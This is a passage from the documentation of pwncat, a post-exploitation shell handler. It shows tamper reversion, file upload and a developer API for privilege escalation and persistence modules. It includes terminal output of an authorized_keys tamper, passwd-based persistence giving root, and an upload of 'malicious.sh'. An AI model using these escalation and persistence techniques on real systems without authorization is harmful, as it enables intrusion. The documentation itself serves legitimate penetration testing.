[?] Created file /tmp/tmp.xi5Evy4ZPF: revert failed: /tmp/tmp.xi5Evy4ZPF: unable to␣
↪remove file
[\] reverting tamper: Modified /home/george/.ssh/authorized_keys
[?] Modified /home/george/.ssh/authorized_keys: revert failed: No such file or␣
↪directory: '/home/george/.ssh/authorized_keys'
[/] reverting tamper: Created file /tmp/tmp.6LwcrXSdWE
[?] Created file /tmp/tmp.6LwcrXSdWE: revert failed: /tmp/tmp.6LwcrXSdWE: unable to␣
↪remove file
[-] reverting tamper: Persistence: passwd as system (local)
[?] Persistence: passwd as system (local): revert failed: Permission denied: '/etc/
↪passwd'
[+] tampers reverted!
```

After utilizing our passwd persistence to gain root access, we can successfully remove all tampers:

```
(local) pwncat$ privesc -e
[+] privilege escalation succeeded using:
  persistence - passwd as system (local)
[+] pwncat is ready

(remote) root@pwncat-centos-testing:~#
[+] local terminal restored
(local) pwncat$ tamper -r -a
[+] tampers reverted!
(local) pwncat$ tamper
(local) pwncat$
```

2.8.14 Upload

pwncat makes file upload easy through the upload command. File upload is accomplished via the gtfobins modules, which will enumerate available local binaries capable of writing printable or binary data to files on the remote host. Often, this is dd if available but could be any of the many binaries which gtfobins understands. The upload takes place over the same connection as your shell, which means you don't need another HTTP or socket server or extra connectivity to your target host.

At the local pwncat prompt, local and remote files are tab-completed to provided an easier upload interface, and a progress bar is displayed.

Listing 7: Upload a script to the remote host

```
upload ./malicious.sh /tmp/definitely-not-malicious
```

2.9 API Documentation

pwncat is fully usable without modification, but also provides a scriptable method of interacting with the remote host. A large variety of interaction with the remote host has been abstracted to make interaction via Python seamless. This is beneficial both for implementing simple pwncat prompt commands or more complicated privilege escalation or persistence methods.

2.9.1 Command Parser

The local pwncat prompt and scripting configuration language are powered by the CommandParser class which is responsible for parsing lines of text, extracting arguments, and dispatching them to the appropriate command.

Commands are loaded automatically through the pkgutils module in Python from the pwncat/commands directory. Every Python file from this directory is loaded as a module and checked for a Command attribute. This attribute must be a class which inherits from the pwncat.commands.base.CommandDefinition class. This class defines the structure of a command and allows the CommandParser to intelligently create argparse objects, syntax highlighting lexers, and prompt_toolkit completers for your commands.

To create a new command, simply create a python file under the pwncat/commands directory. The name can be anything that conforms to python module naming standards. As an example, the sysinfo command is fairly straightforward:

```
#!/usr/bin/env python3
from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat.util import console
import pwncat


class Command(CommandDefinition):
    """
    Display remote system information including host ID, IP address,
    architecture, kernel version, distribution and init system. This
    command also provides the capability to view installed services
    if the init system is supported by ``pwncat``.
    """

    PROG = "sysinfo"
    ARGS = {
        "--services,-s": Parameter(
            Complete.NONE, action="store_true", help="List all services and their␣
↪state"
        )
    }

    def run(self, args):

        if args.services:
            for service in pwncat.victim.services:
                if service.running:
                    console.print(
                        f"[green]{service.name}[/green] - {service.description}"
                    )
                else:
                    console.print(f"[red]{service.name}[/red] - {service.description}
↪")
        else:
            console.print(f"Host ID: [cyan]{pwncat.victim.host.hash}[/cyan]")
            console.print(
                f"Remote Address: [green]{pwncat.victim.client.getpeername()}[/green]"
            )
            console.print(f"Architecture: [red]{pwncat.victim.host.arch}[/red]")
            console.print(f"Kernel Version: [red]{pwncat.victim.host.kernel}[/red]")
            console.print(f"Distribution: [red]{pwncat.victim.host.distro}[/red]")
            console.print(f"Init System: [blue]{pwncat.victim.host.init}[/blue]")
```

This is a simple command that will print system information from the host database and provide the capability to view installed services, provided the init system is supported. This command also shows a basic example of interacting with the remote victim. The `pwncat.victim` object allows you to interact abstractly with the currently connected victim. The `LOCAL` property tells the `CommandParser` whether this command operates only on local resources. If set to true, the command will be allowed to run prior to a connected victim. In this case, we interact directly with the victim, and therefore set the `LOCAL` property to false.

Command Arguments

Argument parsing is achieved using the python built-in module `argparse`. The parser is automatically created based on the `ARGS`, and `DEFAULTS` dictionaries defined in your `Command` class.

`DEFAULTS` is a dictionary mapping argument names to default values. This is passed directly to the `argparse.ArgumentParser.set_defaults` method. This allows you to set defaults for values which can't be set in the argument definition (such as values referenced in multiple arguments with *dest* parameter).

The `ARGS` property is a dictionary which matches argument names to the `parameter` objects. The key for this dictionary is a string representing the a comma-separated list of parameter names (e.g. "–param,-p"). The values in this dictionary are built from the `parameter` method imported above:

```
def parameter(complete, token=Name.Label, *args, **kwargs):
```

The first parameter is one of the `pwncat.commands.base.Complete` enumeration items. Which includes things like `Complete.REMOTE_FILE`, `Complete.LOCAL_FILE`, `Complete.CHOICES` and `Complete.NONE`. For parameters with no argument ("switches"), this should be `Complete.NONE`. This controls how the CommandParser tab-completes your command at the local prompt.

The second parameter is the Pygments token which this option should be highlighted with. Normally, you can leave this as default, but you may change it if you like. The remaining arguments are passed directly to `argparse.ArgumentParser.add_argument`.

Command Helpers

class `pwncat.commands.base.`**`Complete`**

Command argument completion options

`CHOICES = 1`

Complete argument from the list of choices specified in `parameter`

`LOCAL_FILE = 2`

Complete argument as a local file path

`NONE = 4`

Do not provide argument completions

`REMOTE_FILE = 3`

Complete argument as a remote file path

`pwncat.commands.base.`**`parameter`**(*complete*, *token=Token.Name.Label*, **args*, ***kwargs*)

Generate a parameter definition from completer options, token definition, and argparse add_argument options.

Parameters

- **`complete`** (`Complete`) – the completion type
- **`token`** (*`Pygments Token`*) – the Pygments token to highlight this argument with
- **`args`** – positional arguments for `add_argument`
- **`kwargs`** – keyword arguments for `add_argument`

Returns Parameter definition

class `pwncat.commands.base.`**`StoreConstOnce`**(*option_strings*, *dest*, *nargs=None*, *const=None*, *default=None*, *type=None*, *choices=None*, *required=False*, *help=None*, *metavar=None*)

Only allow the user to store a value in the destination once. This prevents users from selection multiple actions in the privesc parser.

`pwncat.commands.base.`**`StoreForAction`**(*action: List[str]*) → Callable

Generates a custom argparse Action subclass which verifies that the current selected "action" option is one of the provided actions in this function. If not, an error is raised.

`pwncat.commands.base.`**`RemoteFileType`**(*file_exist=True*, *directory_exist=False*)

CommandDefinition Object

class `pwncat.commands.base.`**`CommandDefinition`**

Generic structure for a local command. The docstring for your command class becomes the long-form help for your command.

`ARGS = {}`

A dictionary of parameter definitions created with the `Parameter` class. If this is None, your command will receive the raw argument string and no processing will be done except removing the leading command name.

`DEFAULTS = {}`

A dictionary of default values (passed directly to `ArgumentParser.set_defaults`)

`GROUPS = {}`

A dictionary mapping group definitions to group names. The parameters to Group are passed directly to either add_argument_group or add_mutually_exclusive_group with the exception of the mutex arg, which determines the group type.

`LOCAL = False`

Whether this command is purely local or requires an connected remote host

`PROG = 'unimplemented'`

The name of your new command

`build_parser`(*parser: argparse.ArgumentParser, args: Dict[str, pwncat.commands.base.Parameter], group_defs: Dict[str, pwncat.commands.base.Group]*)

Parse the ARGS and DEFAULTS dictionaries to build an argparse ArgumentParser for this command. You should not need to overload this.

Parameters

- **`parser`** – the parser object to add arguments to
- **`args`** – the ARGS dictionary

`run`(*args*)

This is the "main" for your new command. This should perform the action represented by your command.

Parameters **`args`** – the argparse Namespace containing your parsed arguments

2.9.2 Modules

`pwncat` is extended primarily by implementing modules. This concept is similar in theory to Metasploit modules. Modules are organized by their purpose, so modules for persistence are under the `persist` package while modules for enumeration are under the `enumerate` package.

At their core, modules are simply classes which implement a `run` function to perform some task. Modules can have arguments which are passed as normal keyword arguments to the `run` method. Argument names, types and documentation is stored in the class property `ARGUMENTS` which is a dictionary mapping argument names to `Argument` instances.

When a user executes the following commands at the local prompt:

`pwncat` will first lookup the Python module `pwncat.modules.persist.cron_reverse`. This module must implement a class named `Module` which inherits from the `BaseModule` class. Next, each `set` call will cross-reference the parameter name with the module arguments and ensure type-checking is performed. Lastly, the `run` method will be executed.

Return values from modules are displayed in two ways. First, if the return value conforms to the `Result` interface, it is formatted and displayed with a title and description under the appropriate category. Otherwise, a list of uncategorized results will be displayed. If no return value is found, a simple "Module completed successfully" message will be displayed.

Creating Base Modules

Specilized categories such as `enumerate`, `persist`, and `escalate` have their own module base classes which all inherit from the `BaseModule` class. If you'd like to create a generic module which does not fit into these categories, you can subclass the `BaseModule` class itself.

A basic module is placed anywhere under the `pwncat/modules/` package. It will be automatically loaded upon opening `pwncat`. A basic module named "random_string.py" could be placed under "pwncat/modules" and may look like this:

```
class Module(BaseModule):
    """
    Module documentation. This is shown with the `info` command.
    """

    ARGUMENTS = {
        "length": Argument(type=int, default=10, help="How long to make the string"),
        "alphabet": Argument(type=str, default=string.ascii_printable, help="The␣
↪characters to choose from")
    }

    def run(self, length, alphabet):
        return "".join([random.choice(alphabet) for _ in range(length)])
```

This module simply generates a random string of a given length and can be executed in a few different ways at the pwncat prompt:

This module can also be used from within `pwncat` by using the `pwncat.modules` helper functions to locate and run modules by name:

```
import pwncat.modules
result = pwncat.modules.run("random_string", length=5, alphabet="0123456789abcdef")
result = list(pwncat.modules.match("random_.*"))[0].run(length=2, alphabet="hello")
result = pwncat.modules.find("random_string").run(length=2, alphabet="hello")
```

Module Results

Module *run* methods should return result objects which are compatible with the *pwncat.modules.Result* object. How those values are returned can happen in a few ways. For simple modules, the *run* method can simply return the result with the *return* statement. In this case, no progress bar will be created and until the module finishes there will be no status output. Alternatively, if the *run* method is a generator, a progress bar is automatically created using *rich* and the status is updated with each of the *yield*'d values. The results should always have a *__str__* operator defined so that status results can be printed properly. The result of the *run* method will never be a generator when called externally, however. The base module class wraps the subclass *run* method, creates a progress bar, collects the output and returns an interable object containing all of the results.

If a module would like to update the current progress status without returning any data, it can do so using the *pwncat.modules.Status* type. If an object of this type is *yield*'d, it will not be added to the resulting return value of *run*, and will only update the progress bar. The *Status* class is simply a subclass of *str*, therefore issuing *yield Status("new module status")* will update the progress bar accordingly.

If you need to implement a custom result class to encapsulate your results, you can do so either by directly inheriting from the *Result* class or by simply implementing the required methods. The only strictly required methods are either the *title* or *__str__* methods. By default, the *title* method will simply return *str(self)*, so overriding *__str__* is normally enough. This controls the single-line output of this result on the terminal.

For objects which require larger output, you can utilize the *description* method. This method returns a string with a long-description of your object. For example, the *private_key* enumeration data implements this method to show the entire content of the private key while the title just indicates that it *is* a private key and where it was found.

Lastly, there is a *category* method which specifies how to categorize this result. The affects how the data is separated and displayed when run from the prompt.

Other methods or properties can be added at will to this object. The above methods are not meant to obstruct the programmatic use of the data returned by a module so that you can organically return results from modules while still having properly formatted output from the prompt.

Recursively Calling Modules

If your new module needs to call another module (through any of the interfaces above), you should be sure to pass the current progress bar down to the sub-modules. This is done like so:

```
class Module(BaseModule):
    def run(self):
        result = pwncat.modules.run("some.other.module", progress=self.progress)
```

This ensures that multiple progress bars are not created and fighting over the terminal lock.

Exceptions

class pwncat.modules.**ModuleNotFound**
    The specified module was not found

class pwncat.modules.**ArgumentFormatError**
    Format of one of the arguments was incorrect

class pwncat.modules.**MissingArgument**
    A required argument is missing

class pwncat.modules.**InvalidArgument**
    This argument does not exist and ALLOW_KWARGS was false

class pwncat.modules.**ModuleFailed**
    Base class for module failure

Module Helper Classes

class pwncat.modules.**Argument**(*type: Callable[[str], Any] = <class 'str'>, default: Any = <class 'pwncat.modules.NoValue'>, help: str = ''*)
    Argument information for a module

default
    The default value if none is specified in `run`. If this is `NoValue`, then the argument is required.

    alias of `NoValue`

help = ''
    The help text displayed in the `info` output.

type
    alias of `builtins.str`

`pwncat.modules.`**`List`**`(`*_type=<class 'str'>*`)`
Argument list type, which accepts a list of the provided type.

`pwncat.modules.`**`Bool`**`(`*value: str*`)`
Argument of type "bool". Accepts true/false (case-insensitive) as well as 1/0. The presence of an argument of type "Bool" with no assignment (e.g. run module arg) is equivalent to *run module arg=true*.

`class` `pwncat.modules.`**`Status`**
A result which isn't actually returned, but simply updates the progress bar. It is equivalent to a string, so this is valid: `yield Status("module status update")`

`class` `pwncat.modules.`**`Result`**
This is a module result. Modules can return standard python objects, but if they need to be formatted when displayed, each result should implement this interface.

`category`
Return a "categry" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized"

`description`
Returns a long-form description. If not defined, the result is assumed to not be a long-form result.

`is_long_form``()` → bool
Check if this is a long form result

`title`
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

Locating and Using Modules

`pwncat.modules.`**`reload`**`(`*where: Optional[List[str]] = None*`)`
Reload modules from the given directory. If no directory is specified, then the default modules are reloaded. This function will not remove or un-load any existing modules, but may overwrite existing modules with conflicting names.

Parameters **`where`** (*`List[str]`*) – Directories which contain pwncat modules

`pwncat.modules.`**`find`**`(`*name: str*, *base=<class 'pwncat.modules.BaseModule'>*, *ignore_platform: bool = False*`)`
Locate a module with this exact name. Optionally filter modules based on their class type. By default, this will search for any module implementing BaseModule which is applicable to the current platform.

Parameters

- **`name`** (*`str`*) – Name of the module to locate
- **`base`** (*`type`*) – Base class which the module must implement
- **`ignore_platform`** (*`bool`*) – Whether to ignore the victim's platform in the search

Raises **`ModuleNotFoundError`** – Raised if the module does not exist or the platform/base class do not match.

`pwncat.modules.`**`match`**`(`*pattern: str*, *base=<class 'pwncat.modules.BaseModule'>*`)`
Locate modules who's name matches the given glob pattern. This function will only return modules which implement a subclass of the given base class and which are applicable to the current target's platform.

Parameters

- **`pattern`** (*`str`*) – A Unix glob-like pattern for the module name

- **base** (*type*) – The base class for modules you are looking for (defaults to BaseModule)

Returns A generator yielding module objects which at least implement `base`

Return type Generator[base, None, None]

`pwncat.modules.`**`run`**(*name: str*, ***kwargs*)

Locate a module by name and execute it. The module can be of any type and is guaranteed to match the current platform. If no module can be found which matches those criteria, an exception is thrown.

Parameters

- **name** (*str*) – The name of the module to run
- **kwargs** (*Dict[str, Any]*) – Keyword arguments for the module

Returns The result from the module's `run` method.

Raises **ModuleNotFoundError** – If no module with that name matches the required criteria

Base Module Class

class `pwncat.modules.`**`BaseModule`**

Generic module class. This class allows to easily create new modules. Any new module must inherit from this class. The run method is guaranteed to receive as key-word arguments any arguments specified in the `ARGUMENTS` dictionary.

ALLOW_KWARGS = False

Allow other kwargs parameters outside of what is specified by the arguments dictionary. This allows arbitrary arguments which are not type-checked to be passed. You should use ***kwargs* in your run method if this is set to True.

ARGUMENTS = {}

Arguments which can be provided to the `run` method. This maps argument names to `Argument` instances describing the type, default value, and requirements for an individual argument.

COLLAPSE_RESULT = False

If you want to use *yield Status(. . .)* to update the progress bar but only return one scalar value, setting this to true will collapse an array with only a single object to it's scalar value.

PLATFORM = 1

The platform this module is compatibile with (can be multiple)

run(*progress=None*, ***kwargs*)

The run method is called via keyword-arguments with all the parameters specified in the `ARGUMENTS` dictionary. If `ALLOW_KWARGS` was True, then other keyword arguments may also be passed. Any types specified in `ARGUMENTS` will already have been checked.

If there are any errors while processing a module, the module should raise `ModuleError` or a subclass in order to enable `pwncat` to automatically and gracefully handle a failed module execution.

Parameters **progress** (*rich.progress.Progress*) – A python-rich Progress instance

2.9.3 Privilege Escalation Modules

Privilege Escalation is implemented using modules. Each privilege escalation module is a sub-class of the `EscalateModule` class. The escalate module's primary purpose is to enumerate possible escalation techniques. Techniques are objects which implement specific escalation capabilities and can be put together to form a fully-functional code execution primitive. Each technique may implement file read, file write or shell/exec capabilities. The base escalate module will collect all available techniques and attempt to use them together to achieve the requested action.

Running an escalation module with no arguments simply returns an *EscalateResult* which wraps a list of techniques. This result can be used to attempt file read, file write or execution as the requested user. All escalate modules accept three boolean arguments which indicate it should attempt one of `read`, `write` or `exec`. If any of these arguments are true, the requested action will be attempted instead of returning the result.

When implementing an escalate module, any errors should be signaled by the `EscalateError` exception.

Automatic Privilege Escalation

The `escalate.auto` module (aliased to simply `escalate`) will attempt to use any available module to escalate to the desired user. Further, it will recursively attempt escalation through as many users as needed to find a path to the requested user. This module simply aggregates the results from all available escalation modules and then attempts the escalation with the available techniques. If direct escalation to the requested user is not possible, it will attempt escalation to eacho ther user available and recurse to find a path to the requested user.

This is the most common way to attempt privilege escalation, as it can quickly attempt multiple different escalation options through multiple users. However, if you know a likely vulnerability, you can execute an individual escalate module directly in the same way.

Any extra arguments passed to the `escalate.auto` module will be passed on to any module it executes. This allows modules with custom arguments to be included in the automatic escalation attempts. However, this can be problematic. If two modules have arguments with the same name and different required values, at least one of them will fail to run. As a result, you cannot count on `escalate.auto` to be able to attempt any module which requires custom arguments.

As with standard escalate modules, `escalate.auto` will by default simply return the escalate result containing all techniques it found. These techniques will span multiple modules. This makes it easy to quickly enumerate all known possible escalation paths.

Module Structure

Escalate modules at their core are a sub-class of `BaseModule`. As such, you can define custom arguments and platform requirements. If custom arguments are required, you must include the `EscalateModule` arguments in your definition as noted in the class reference below.

```python
class Module(EscalateModule):
    """ Simple example module that does nothing. """

    # Define supported platform(s)
    PLATFORM = Platform.LINUX
    # Default priority is 100. Higher value = lower priority. Must be > 0.
    PRIORITY = 100
    # Custom arguments. Remove this entirely if unneeded.
    ARGUMENTS = {
        **EscalateModule.ARGUMENTS,
        "custom_arg": Argument(str),
    }

    def enumerate(self, user, custom_arg):
        """ Implement a generator of Technique's """

        # Technique implementation is what does the work of an
        # escalate method. You should implement a technique class
```

(continues on next page)

(continued from previous page)

```
        # specific to your module.
        # yield YourCustomTechnique(Capability.SHELL, "root", self)

    def human_name(self, tech: YourCustomTechnique):
        """ Create a pretty-printed representation of this module/technique """
        return "a really cool custom technique"
```

Implementing A Technique

Techniques are the heart and soul of an escalation module. `pwncat` uses techniques with different capabilities together to attempt to perform various actions. For example, if you request file read, `pwncat` may use a `exec` technique to gain a shell, and then read the file normally. Alternatively, attempting `exec` may require `pwncat` to use `read` and `write` techniques to escalate privileges.

An individual technique is identified by a `Capability`, a user name, and a module. The capabilities are taken from `pwncat.gtfobins` and include things such as file read, file write or shell. There are associated methods within a technique to execute these various capabilities and these are the methods you must implement depending on the techniques supported capabilities. The module is simply your module that created the technique. The user represents the name of the user which this technique allows access as. For example, for a SETUID binary, the user would be the owner of the binary itself.

Here is an example of a skeleton technique class:

```
# This decorator is not required, but if your technique may
# result in a EUID vs RUID mismatch, use this decorator to
# correct this issue automatically if needed.
@euid_fix
class YourCustomTechnique(Technique):
    """ Implement the various capabilities your module provides """

    def exec(self, binary: str) -> str:
        """ Called for techniques which provide Capability.SHELL.
        Execute the specified shell the other user, and return a
        string which will exit the shell and return to the current
        state. """

    def write(self, filepath: str, data: bytes):
        """ Called for techniques which provide Capability.WRITE.
        Write ``data`` to the specified file as the other user. """

    def read(self, filepath: str):
        """ Called for techniques which provide Capability.READ.
        Open the remote file for reading and return a file-like
        object which yields it's contents. """
```

Utility Classes and Functions

`pwncat.modules.escalate.`**`euid_fix`**(*technique_class*)

Decorator for Technique classes which may end up with a RUID/EUID mismatch. This will check the resulting UID after to see if the change was affective and attempt to fix it. If the fix fails, then the resulting action is undone and an EscalateError is raised.

class pwncat.modules.escalate.**GTFOTechnique**(*target_user: str*, *module: pwncat.modules.escalate.EscalateModule*, *method: pwncat.gtfobins.MethodWrapper*, ***kwargs*)

A technique which is based on a GTFO binary capability. This is mainly used for sudo and setuid techniques, but could theoretically be used for other techniques.

Parameters

- **target_user** (*str*) – The user which this techniques allows access as
- **module** (`EscalateModule`) – The module which generated this technique
- **method** (`pwncat.gtfobins.MethodWrapper`) – The GTFObins MethodWrapper
- **kwargs** – Arguments passed to the gtfobins `build` method.

class pwncat.modules.escalate.**FileContentsResult**(*filepath: str*, *pipe: pwncat.file.RemoteBinaryPipe*, *data: bytes = None*)

Result which contains the contents of a file. This is the result returned from an `EscalateModule` when the `read` parameter is true. It allows for the file to be used as a stream programmatically, and also nicely formats the file data if run from the prompt.

category

Meta private

data = None

The data that was read from the file. It is buffered here to allow multiple reads when the data is streamed back from the remote host. It should not be accessed directly, instead use the `stream` property to access a stream of data regardless of the state of the underlying `pipe` object.

description

Meta private

filepath = None

Path to the file which this data came from

pipe = None

Until it is read, this is a stream which will return the file data from the victim. It should not be used directly, and instead should be accessed through the `stream` property.

stream

Access the file data. This should be used to access the data. The `pipe` and `data` properties should not be used. This is a file-like object which contains the raw file data.

title

Meta private

class pwncat.modules.escalate.**EscalateChain**(*user: str*, *chain: List[Tuple[pwncat.modules.escalate.Technique, str]]*)

Chain of techniques used to escalate. When escalating through multiple users, this allows `pwncat` to easily track the different techniques and users that were traversed. When `exec` is used, this object is returned instead of the `EscalateResult` object.

It has methods to unwrap the escalations to return to the original user if needed.

add(*technique: pwncat.modules.escalate.Technique*, *exit_cmd: str*)

Add a link in this chain.

category

Meta private

chain = None
Chain of techniques used to escalate

description

Meta private

extend(*chain: pwncat.modules.escalate.EscalateChain*)
Extend this chain with another chain. The two chains are concatenated.

pop()
Exit and remove the last link in the chain

title

Meta private

unwrap()
Exit each shell in the chain with the provided exit script. This should return the state of the remote shell to prior to escalation.

user = None
Initial user before escalation

class pwncat.modules.escalate.**EscalateResult**(*techniques: Dict[str, List[pwncat.modules.escalate.Technique]]*)
The result of running an escalate module. This object contains all the enumerated techniques and provides an abstract way to employ the techniques to attempt privilege escalation. This is the meat and bones of the automatic escalation logic, and shouldn't generally need to be modified. It will put together basic techniques into a working primitive.

Parameters **techniques** (*Dict[str, List[Technique]]*) – List of techniques that were enumerated

add(*technique: pwncat.modules.escalate.Technique*)
Add a new technique to this result object

category
EscalateResults are uncategorized

Meta private

description
Description of these results (list of techniques)

Meta private

exec(*user: str, shell: str, progress*)
Attempt to use all the techniques enumerated to execute a shell as the specified user.

Parameters

- **user** (*str*) – The user to execute a shell as
- **shell** (*str*) – The shell to execute
- **progress** – A rich Progress bar to update during escalation.

extend(*result: pwncat.modules.escalate.EscalateResult*)
Extend this result with another escalation enumeration result. This allows you to enumerate multiple modules and utilize all their techniques together to perform escalation.

read(*user: str*, *filepath: str*, *progress*, *no_exec: bool = False*)
Attempt to use all the techniques enumerated to read a file as the given user. This method returns a file-like object capable of reading the file.

Parameters

- **user** (*str*) – The user to read the file as
- **filepath** (*str*) – Path to the file to read
- **progress** – A rich Progress bar to update during escalation.
- **no_exec** (*bool*) – When true, do not attempt exec to write the file. This is needed when recursing automatically, and should normally be left as false.

techniques = None
List of techniques available keyed by the user

title
The title of the section when displayed on the terminal

Meta private

write(*user: str*, *filepath: str*, *data: bytes*, *progress*, *no_exec: bool = False*)
Attempt to use all the techniques enumerated to write to a file as the given user

Parameters

- **user** (*str*) – The user you would like to write a file as
- **filepath** (*str*) – The file you would like to write to
- **data** (*bytes*) – The data you would like to place in the file
- **progress** – A rich Progress bar to update during escalation.
- **no_exec** (*bool*) – When true, do not attempt exec to write the file. This is needed when recursing automatically, and should normally be left as false.

Technique Base Class

class pwncat.modules.escalate.**Technique**(*caps: pwncat.gtfobins.Capability*, *user: str*, *module: pwncat.modules.escalate.EscalateModule*)
Describes a technique possible through some module.

Modules should subclass this class in order to implement their techniques. Only the methods corresponding to the returned *caps* need be implemented.

caps = None
What capabilities this technique provides

exec(*binary: str*)
Execute a shell as the specified user.

Parameters **binary** (*str*) – the shell to execute

Returns A string which when sent over the socket exits this shell

Return type str

module = None
The module which provides these capabilities

read(*filepath: str*)
Read the given file as the specified user

Parameters **filepath** (*str*) – path to the target file

Returns A file-like object representing the remote file

Return type File-like

user = None
The user this provides access as

write (*filepath: str*, *data: bytes*)
Write the given data to the specified file as another user.

Parameters

- **filepath** (*str*) – path to the target file
- **data** (*bytes*) – the data to write

Escalate Module Base Class

class pwncat.modules.escalate.**EscalateModule**
The base module for all escalation modules. This module is responsible for enumerating `Technique` objects which can be used to attempt various escalation actions.

With no arguments, a standard escalate module will return an `EscalateResult` object which contains all techniques enumerated and provides helper methods for programmatically performing escalation and combining results from multiple modules.

Alternatively, the `exec`, `write`, and `read` arguments can be used to have the module automatically attempt the respective operation basedo on the arguments passed.

PRIORITY = 100
The priority of this escalation module. Values <= 0 are reserved. Indicates the order in which techniques are executed when attempting escalation. Lower values execute first.

enumerate (***kwargs*) → Generator[Technique, None, None]
Enumerate techniques for this module. Each technique must implement at least one capability, and all techniques will be used together to escalate privileges. Any custom arguments are passed to this method through keyword arguments. None of the default arguments are passed here.

human_name (*tech: pwncat.modules.escalate.Technique*)
Defines the human readable name/description of this vuln

run (*user*, *exec*, *read*, *write*, *shell*, *path*, *data*, ***kwargs*)
This method is not overriden by subclasses. Subclasses should should implement the `enumerate` method which yields techniques.

Running a module results in an EnumerateResult object which can be formatted by the default *run* command or used to execute various privilege escalation primitives utilizing the techniques enumerated.

2.9.4 Persistence Modules

Persistence modules are simply `pwncat` modules which inherit from the `PersistModule` base class. The `PersistModule` base class takes care of the `run` method. The `install` and `remove` methods must be implemented in all persistence modules. Depending on the type, at least one of `connect` and `escalate` must be implemented.

Unlike a base module, persistence modules should raise the `PersistError` class when a module fails.

`pwncat/modules/persist/passwd.py` is a good example of a persistence module if you'd like to review a working module.

The `install`, `remove`, and `escalate` methods should be generators which yield status updates during operation. Status updates should be of the type `pwncat.modules.Status` which is a subclass of `str`. Any other values will be ignored.

Persistence Types

Persistence types are defined by the `TYPE` module class property. This property is a `PersistType` flags instance. There are three possible persistence types as documented below. This field describes how an installed module can be used. At least one of the listed types must be specified.

Custom Arguments

Custom arguments can be specified in the same way as a base module: the `ARGUMENTS` class property. The only difference is that you must include the base persistence arguments in addition to new arguments. Every persistence module takes the following arguments: "user", "remove", "escalate" and "connect".

If custom arguments are used, the persistence module cannot be automatically invoked by privilege escalation. This is not required, but you should be aware during implementation/testing.

In addition to the `user` argument, all custom arguments are passed to all module methods as keyword arguments with the same name as in the `ARGUMENTS` class property. The `remove`, `escalate` and `connect` arguments are only received and processed by the the `run` method.

Simple Example Module

This serves as a baseline persistence module. It doesn't do anything, but show the structure of a working module.

```python
class Module(PersistModule):
    """ This docstring will be used as the information from the ``info``
    command. """

    # PersistType.LOCAL requires the ``escalate`` method
    # PersistType.REMOTE requires the ``connect`` method
    TYPE = PersistType.LOCAL | PersistType.REMOTE
    # If no custom arguments are needed, this can be ommitted
    # completely.
    ARGUMENTS = {
        **PersistModule.ARGUMENTS,
        "custom_arg": Argument(str),
    }

    def install(self, user, custom_arg):
        """ Install the module on the victim """

        yield Status("Update the progress bar by yielding Status objects")

    def remove(self, user, custom_arg):
        """ Remove any modifications from the remote victim """

        yield Status("You can also update the progress bar here")

    def escalate(self, user, custom_arg):
```

(continues on next page)

(continued from previous page)

```
        """ Locally escalate privileges with this module """

        yield Status("Update the status information")
        return "exit command used to leave this new shell"

    def connect(self, user, custom_arg):
        """ Connect to the victim at pwncat.victim.host.ip """

        # Return a socket-like object connected to the victim shell
        return socket.create_connection(pwncat.victim.host.ip)
```

Helper Classes

class `pwncat.modules.persist.`**`PersistError`**

Raised when any PersistModule method fails.

class `pwncat.modules.persist.`**`PersistType`**

Identifies the persistence module type flags. One or more flags must be specified for a module.

`ALL_USERS = 4`

When installed, the persistence module allows access as any user.

`LOCAL = 1`

The persistence module implements the `escalate` method for local privilege escalation.

`REMOTE = 2`

The persistence module implements the `connect` method for remote connection.

Persistence Module Reference

class `pwncat.modules.persist.`**`PersistModule`**

Base class for all persistence modules.

Persistence modules should inherit from this class, and implement the `install`, `remove`, and `escalate` methods. All modules must take a `user` argument. If the module is a "system" module, and can only be installed as root, then an error should be raised for any "user" that is not root.

If you need your own arguments to a module, you can define your arguments like this:

```
ARGUMENTS = {
    **PersistModule.ARGUMENTS,
    "your_arg": Argument(str)
}
```

All arguments **must** be picklable. They are stored in the database as a SQLAlchemy PickleType containing a dictionary of name-value pairs.

`ARGUMENTS = {'connect': Argument(type=<function Bool>, default=False, help='Connect t`

The default arguments for any persistence module. If other arguments are specified in sub-classes, these must also be included to ensure compatibility across persistence modules.

`COLLAPSE_RESULT = True`

The `run` method returns a single scalar value even though it utilizes a generator to provide status updates.

`TYPE = 1`

Defines where this persistence module is useful (either remote connection or local escalation or both). This also identifies a given persistence module as applying to "all users"

`connect`(***kwargs*) → _socket.socket

Connect to a victim host by utilizing this persistence module. The host address can be found in the `pwncat.victim.host` object.

Parameters

- **`user`** (*`str`*) – the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
- **`kwargs`** – Any custom arguments defined in your `ARGUMENTS` dictionary.

Return type socket.SocketType

Returns An open channel to the victim

Raises ***`PersistError`*** – All errors must be PersistError or a subclass thereof.

`escalate`(***kwargs*)

Escalate locally from the current user to another user by using this persistence module.

Parameters

- **`user`** (*`str`*) – the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
- **`kwargs`** – Any custom arguments defined in your `ARGUMENTS` dictionary.

Raises ***`PersistError`*** – All errors must be PersistError or a subclass thereof.

`install`(***kwargs*)

Install this persistence module on the victim host.

Parameters

- **`user`** (*`str`*) – the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
- **`kwargs`** – Any custom arguments defined in your `ARGUMENTS` dictionary.

Raises ***`PersistError`*** – All errors must be PersistError or a subclass thereof.

`register`(***kwargs*)

Register a module as installed, even if it wasn't installed by the bundled `install` method. This is mainly used during escalation when a standard persistence method is installed manually through escalation file read/write.

`remove`(***kwargs*)

Remove this persistence module from the victim host.

Parameters

- **`user`** (*`str`*) – the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
- **`kwargs`** – Any custom arguments defined in your `ARGUMENTS` dictionary.

Raises ***`PersistError`*** – All errors must be PersistError or a subclass thereof.

`run`(*remove*, *escalate*, *connect*, ***kwargs*)

This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules.

2.9.5 Enumeration Modules

Schedules

Enumeration modules can specify a schedule which identifies when a module will run. By default, an enumeration module is executed only once. Afterwards, the facts generated by the module are cached in the database and the module is not invoked unless the database is cleared. You can specify the following alternative schedules with the `SCHEDULE` class property for your new module:

```
- Schedule.ONCE
- Schedule.PER_USER
- Schedule.ALWAYS
```

2.9.6 Interacting With The Victim

